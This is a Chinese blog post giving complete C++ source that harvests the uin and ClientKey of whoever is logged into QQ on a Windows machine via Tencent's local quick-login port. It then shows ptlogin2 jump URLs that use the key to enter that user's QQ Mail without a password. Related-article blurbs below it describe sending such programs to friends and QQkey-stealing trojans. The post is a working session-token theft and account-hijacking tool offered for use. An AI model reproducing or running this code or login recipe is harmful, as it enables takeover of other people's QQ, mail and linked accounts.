读取QQ ClientKey C++版本

劫持最新版 QQNT / QQ / TIM 客户端 QQKey、QQClientKey 针对腾讯官网 最新发布的 QQNT 9.9.6 与 QQ 9.7.21 新版本客户端全面更新截取代码。大伙应该都知道自从QQ 9.7.20 版本起就已经不能通过模拟网页快捷登录来截取 Uin 跟 Clientkey 数据,而此次 TX官网 最新发布的 QQNT 9.9.6 与 QQ 9.7.21 可谓是采用了全新的技术、全新的架构,截取数据的流程大大改变,工作量也因应而生。 阅读详情

c++模拟会话登录,访问QQ的SSO,读取ClientKey,不需要注入,读取QQ ClientKey C++版本

在这里插入图片描述
需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。

注入dll获取的是64位的clientkey

利用方法:
64字节: http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址
224字节: http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位字节的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址

例如,我想利用224字节的key,无密进入qq邮箱

用浏览器访问下面构造的地址,成功后会返回一个地址,复制再访问,就直接进入QQ邮箱了
http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224字节key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25

在这里插入图片描述

#include "stdafx.h"
#include<string>
#include<windows.h>
#include<iostream>
#include <WinInet.h>
#pragma comment(lib,"wininet.lib")
using namespace std;

char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";

int _tmain(int argc, _TCHAR* argv[])
{

	// 初始化URL
	URL_COMPONENTSA crackedURL = { 0 };
	char szHostName[128];
	char szUrlPath[256];
	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
	crackedURL.lpszHostName = szHostName;
	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
	crackedURL.lpszUrlPath = szUrlPath;
	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);

	// 初始化会话
	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求
	HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);

	// 查询HTTP请求状态
	DWORD dwRetCode = 0;
	DWORD dwSizeOfRq = sizeof(DWORD);
	BOOL bRet = FALSE;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	char lpHeaderBuffer[1024] = {0};
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取pt_local_token的值
	char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
	while (pt_local_token != lpHeaderBuffer)
	{
		if (strstr(pt_local_token, "pt_local_token="))
		{
			// 退出之前,修正偏移
			pt_local_token += sizeof("pt_local_token");
			char* pEndBuffer = strstr(pt_local_token, ";");
			*pEndBuffer = 0;
			break;
		}
		pt_local_token--;
	}

	// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第二次建立会话 */

	// 初始化URL参数
	char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";
	strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token

	// 初始化会话
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求,添加头信息
	char* lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 获取返回数据的大小
	DWORD dwNumberOfBytesAvailable = 0;
	bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);

	// 读取网页内容
	char* lpBuffer = new char[dwNumberOfBytesAvailable]();
	bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);

	// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个
	char* uin = lpBuffer + dwNumberOfBytesAvailable;
	while (uin != lpBuffer)
	{
		if (strstr(uin, "\"account\":\""))
		{
			// 退出之前,修正偏移
			uin += sizeof("\"account\":");
			char* pEndBuffer = strstr(uin, "\"");
			*pEndBuffer = 0;
			break;
		}
		uin--;
	}

	cout << "[+] uin:" << uin << endl;

	// 释放资源,注意关闭句柄时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第三次会话 */

	// 初始化URL参数
	ZeroMemory(lpszUrlPath,MAX_PATH);
	strcat(lpszUrlPath, "/pt_get_st?clientuin=");
	strcat(lpszUrlPath, uin);
	strcat(lpszUrlPath, "&callback=ptui_getst_CB&pt_local_tk=");
	strcat(lpszUrlPath, pt_local_token);


	// 发送HTTPS请求
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 添加头信息
	lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	ZeroMemory(lpHeaderBuffer, 1024);
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取ClientKey的值
	char* clientkey = lpHeaderBuffer + dwSizeOfRq;
	while (clientkey != lpHeaderBuffer)
	{
		if (strstr(clientkey, "clientkey="))
		{
			// 退出之前,修正偏移
			clientkey += sizeof("clientkey");
			char* pEndBuffer = strstr(clientkey, ";");
			*pEndBuffer = 0;
			break;
		}
		clientkey--;
	}

	cout << "[+] client key:" << clientkey << endl;

	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);
	InternetCloseHandle(hInternet);
	delete[] lpBuffer;


	return 0;
}





利用腾讯快捷登录协议截取QQ ClientKey、QQ Key、Key工具 《利用腾讯快捷登录协议截取QQ ClientKey实战课程【详细教学-附源码】》 文章地址: https://blog.youkuaiyun.com/qq_39190622/article/details/129489268?spm=1001.2014.3001.5501 本工具主要通过利用腾讯网页快捷登录协议来模拟访问并截取电脑已登录QQ的ClientKey、Skey、P_skey等。 Step 1、初始化地址、建立会话并发送请求,从返回的数据中查找pt_local_token的值。 Step 2、利用Step1获取的pt_local_token值构造地址并发送请求获取已登录的QQ uin。 Step 3、截取 QQ ClientKey,利用Step1获取到的pt_local_token与Step2获取到QQ uin构造地址并发送请求。 Step 4、获取 Skey 并提取 ptsigx 的值,利用Step 2的QQ uin与Step 3获取的ClientKey构造地址并发送请求。 Step 5、获取 P_skey,通过Step 4构造的 ptsigx URL 建立会话并发送请求。 立即下载

相关推荐

易语言-QQ clientkey 提取 Wegame TGP_ID tgp_ticket等

QQ clientkey 提取 Wegame TGP_ID tgp_ticket等,源码是简单的网页POST应用例程。

2023年最新版获取QQ Clientkey。

2023年最新版获取QQ Clientkey方法

【Rainbow Network Technology co., LTD】 1万+

基于ANSYS的电磁兼容仿真教程

最近,在做某系统的EMC仿真,使用ANSYS套件,对仿真学习做简要记录。本书简介与目录如下:本书配套有:视频教程+工程源文件+彩色仿真图片,下载链接如下:(审核中)第1章 基础知识1.1 电磁兼容基础​​​MS2、EMC三要素:3、 国际无线电干扰特别委员会标准:CISPR标准4、电磁兼容测试认证:传导发射(CE)、传导敏感度(CS)、辐射发射(RE)和辐射敏感度(RS)测试。

weixin_42508010的博客 2057

QQ大盗 - 巧用clientkey

场景: 1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。 2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。 思路: 通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。 1、local_token: qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成...

weixin_30887919的博客 5604

Frida三层次钩子快速逆向VMP+OLLVM加固APK

VMP(虚拟机保护)和OLLVM(控制流平坦化)是Android应用常见的双重混淆技术,其核心原理是将Java逻辑虚拟化、Native代码控制流打散,从而阻断传统静态分析与简单Hook。但任何混淆都必须在CPU上执行,因此必然暴露JNI注册行为、ABI参数传递规律及系统调用痕迹。基于此,Frida可通过跨层联动——从JNI_OnLoad捕获Native库加载、在VMP解释器入口截获字节码上下文、于关键系统调用(如read/gettimeofday)反向追踪数据流——构建可观测、可复现的动态分析链。该方法无需

weixin_30888413的博客 1002

无人机通信安全渗透测试:从信号拦截到GPS欺骗的完整攻防框架

在物联网和智能设备普及的背景下,无线通信安全成为关键基础设施防护的核心环节。其原理在于,通过软件定义无线电等设备对空中的射频信号进行捕获、分析与模拟,从而评估通信协议在加密、认证和防重放等方面的脆弱性。这项技术的价值在于,它能主动发现并修复系统设计缺陷,避免因信号被拦截或欺骗导致设备被劫持、数据泄露等重大安全事件。其应用场景广泛,涵盖消费电子、工业控制及关键基础设施等领域。本文聚焦于无人机这一典型移动物联网终端,深入探讨如何构建一套针对其通信链路的渗透测试方法论,其中涉及信号拦截、协议逆向等关键技术,旨在为

weixin_34128237的博客 391

调用QQ/TIM算法实现获取当前登陆账号和ClientKey

调用QQ/TIM算法实现获取当前登陆账号和ClientKey 本文为看雪论坛优秀文章;看雪论坛作者ID:揰掵佲 https://bbs.pediy.com/thread-255014.htm 由于通过网页版实现快捷登陆被TX和谐了,所以,各种群验证以及相继失效!因此,想起来很多年前玩的一种方法,就拿出来分享了! 登陆QQ的网页,除了从网页快捷登陆之外,还可以通过QQ面板,直接登陆! 所以,我们点击QQ面板上的QQ空间标志,等待网页弹出,进入成给功 进入之后 是这样的状态 https://user.qzon

u013367305的博客 2406

昇腾910安装驱动出错,降低Centos7.6的内核版本

Centos7.6 启动内核修改,解决昇腾910安装驱动错误的问题。

深蓝 3300

读取ClientKey的另一种思路,无需注入DLL

需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。 注入dll获取的是64位的clientkey 利用方法: 64字节: http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址 224字节: htt...

friendan的专栏 3376

PHP特性知识点总结

(1)类型转换之前提到过的是字符串转为整型。其实php手册里面提到了各种类型的转换。先把他放在这里。我们按照php手册上的顺序来介绍,只介绍几个比较常用的。①转化为bool②转化为整型int。

m0_73605862的博客 1295

Simplicity Studio V5与EFR32BG22蓝牙开发环境实战指南

本文详细介绍了Simplicity Studio V5集成开发环境与EFR32BG22蓝牙芯片的开发实战指南。内容涵盖开发环境安装、SDK配置、项目创建、调试烧录、外设驱动集成及常见问题解决方案,帮助开发者快速上手物联网蓝牙应用开发,并充分利用EFR32BG22的低功耗与高集成度特性。

v5w6x的博客 320

【最新更新】腾讯快捷登录协议截取QQ邮箱Clientkey教程

最近发现之前的老代码已经不能获取QQ邮箱的Clientkey,经过一番调试后发现QQ邮箱更新了获取的流程,所以决定重新发布一篇文章,废话不多,直接上教程,喜欢的朋友记得点赞加关注。

【Rainbow Network Technology co., LTD】 6323

DLMS/COSEM协议的理解体会

DLMS是通信协议,COSEM是电表建模规范。HDLC帧基本格式为0x7e......

一个bug是bug,多个bug能work 8314

【大一期末项目】qqclienkey利用:基于qqclientkey的纯c++项目实践

前言: 该项目主要是利用clientkey,对clientkey的获取不做深层探究,涉及到的多为基础知识。 学算法真的很有用,写代码少了很多bug,写算法题目时那种反复检查的思想对写代码有很大的提升。 qqclientkey,大概可以将其理解为qqweb端的临时密码。 关于qqclientkey,网上已经有很多前辈的研究和相关的文章,并且都通俗易懂较易理解,主要有两种方法,一种是内存中读取qqclientk...

SberC8的博客 3061

MySQL操作之用户管理权限管理:(DC)(五)

一、简介 二、用户管理 2.1 User表 2.2 创建普通用户 2.3 删除普通用户 2.4 修改用户密码 2.5 解决root用户密码丢失 三、权限管理 3.1 MySQL的权限 3.2 授予权限 3.3 查看权限 3.4 收回权限

lydms的博客 4507

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

【亲测免费】 2023年最新版获取Clientkey工具

2023年最新版获取Clientkey工具 去发现同类优质开源项目:https://gitcode.com/ 工具简介 在开发和调试过程中,Clientkey常常是一个关键的访问令牌,用于确保应用间的安全通信。鉴于网络上旧有方法已失效的现状,本仓库特别提供了2023年最新的获取Clientkey的工具。本工具主要采用了网页模拟浏览器访问的技术方案,绕过了传统方法因安全性升级而遇到的障碍,确保了在合...

gitblog_09774的博客 446

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

最新利用腾讯快捷登录协议截取QQ ClientKey实战课程【详细教学-源码共享】

利用腾讯网页快捷登录协议截取QQ Clientkey的详细教学【附最新源码】

【Rainbow Network Technology co., LTD】 3319

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

QQ快速登录协议分析

1.获取pt_local_token 请求 https://xui.ptlogin2.qq.com/cgi-bin/xlogin?s_url=https%3A%2F%2Fhuifu.qq.com%2Findex.html&amp;amp;style=20&amp;amp;appid=715021417&amp;amp;proxy_url=https%3A%2F%2Fhuifu.qq.com%2Fproxy.html ...

跟派大星学编程 1万+

clientkey(ClientKeyt利用)

clientkey是什么意?clientkey是什么意思 客户端钥匙。 qq群怎么创建-怎么自己创建QQ群?我想自己创建一个QQ群,怎么做?详细点.谢谢? 首先确认您自己没有建立过任何群~然后登陆QQ校友录,选择一个省市还有学校~最后到达学校的班级~在“创建新班级”处输入你的群名称~创建完成…… 特别说...

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 518

QQ利用KEY漏洞上号登录空间邮箱网盘群管等-详细讲解

用户的私钥只有用户自己知道,保证加密数据不会被破解。当用户登录 QQ 空间、QQ 邮箱等产品时,QQ 服务器会生成一个 Key(密钥),并将该 Key 发送给用户的 QQ 软件。QQ服务器收到加密后的数据后,使用用户的公钥进行解密,并将解密后的数据与服务器端保存的密钥进行对比。后续,QQ 服务器会收到加密后的数据,并采用用户提供的公钥进行解密,验证解密后的数据与服务器端保存的 Key 是否匹配。用户的 QQ 软件会采用对称加密算法将该 Key 与用户的私钥进行加密,并将加密后的数据发送给 QQ 服务器。

weixin_65409651的博客 1087

再谈QQ史上最大的“后门”

“不知道为啥,貌似还可以类似的利用,局域网内嗅探出请求地址,然后貌似没IP限制……外网也OK” 没找到出处,转载自:http://hi.baidu.com/reverseman/item/3b19c5d8bacaca3849e1dd3f 1.腾讯单点登录中心的HOST是ptlogin2.qq.com,打开wireshark,设置一个filter, http.host==

BetaBin 2899

qqkey获取原理_获取QQKEY源码[C++版]

前几天有个人找我用E源码转成C++的 现在共享给大家。原理很简单我也是照着别人给我的E源码改的就是利用IWebBrowser2没什么难度GetQQkeyDlg用QQKEY的结构体里面有QQ和KEY信息核心代码typedef struct _QQKey{CString QQ;CString Key;}QQkey;BOOLCGetQQkeyDlg::GetQQkeyDlg(CA...

weixin_39978350的博客 2460

利用网页快捷登录协议截取ClientKey、Key工具

利用网页快捷登录协议截取ClientKey、Key工具 去发现同类优质开源项目:https://gitcode.com/ 工具简介 本工具是针对最新的腾讯QQ客户端版本(9.7.20)设计的,实现了利用网页快捷登录协议来捕获和分析用户电脑上已登录QQ的相关安全密钥信息,如ClientKey、Skey、P_skey等。这一过程通过一系列精心设计的步骤完成,旨在教育和研究目的,了解此协议的工作原理。 ...

gitblog_09788的博客 838

OpenSSL创建生成CA证书、服务器、客户端证书及密钥

使用OpenSSL创建生成CA证书、服务器、客户端证书及密钥 目录使用OpenSSL创建生成CA证书、服务器、客户端证书及密钥(一)生成CA证书(二)生成服务器证书(三)生成客户端证书 说明: 对于SSL单向认证: 服务器需要CA证书、server证书、server私钥,客户端需要CA证。 对于SSL双向认证: 服务器需要CA证书、server证书、server私钥,客户端需要CA证书,client证书、client私钥。 (一)生成CA证书 1、创建CA证书私钥 openssl gen

^_^ 2万+

qqkey获取原理_QQ key盗号木马原理分析

一、简介转载至网络 侵删QQkey是一段字符串,通过这段字符串在没有QQ登录密码的前提下你依然能够在浏览器中对别人QQ空间、邮箱等应用进行随意访问和操作。现在市面上已经有很多使用易语言编写的盗号木马,专门盗取别人的QQkey,通过QQkey改绑关联了该邮箱的Steam账号,最终达到游戏盗号的目的!二、原理QQkey并没有人们想象的那么神奇,它其实是腾讯为了方便用户在网页上进行快速登录而推出的一项技...

weixin_39725885的博客 4145
上一篇: c++从HttpQueryInfo中读取指定Cookie内容
下一篇: VBA版本获取ClientKey
FFE4
博客等级 码龄9年 234粉丝 166原创
评论 11
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值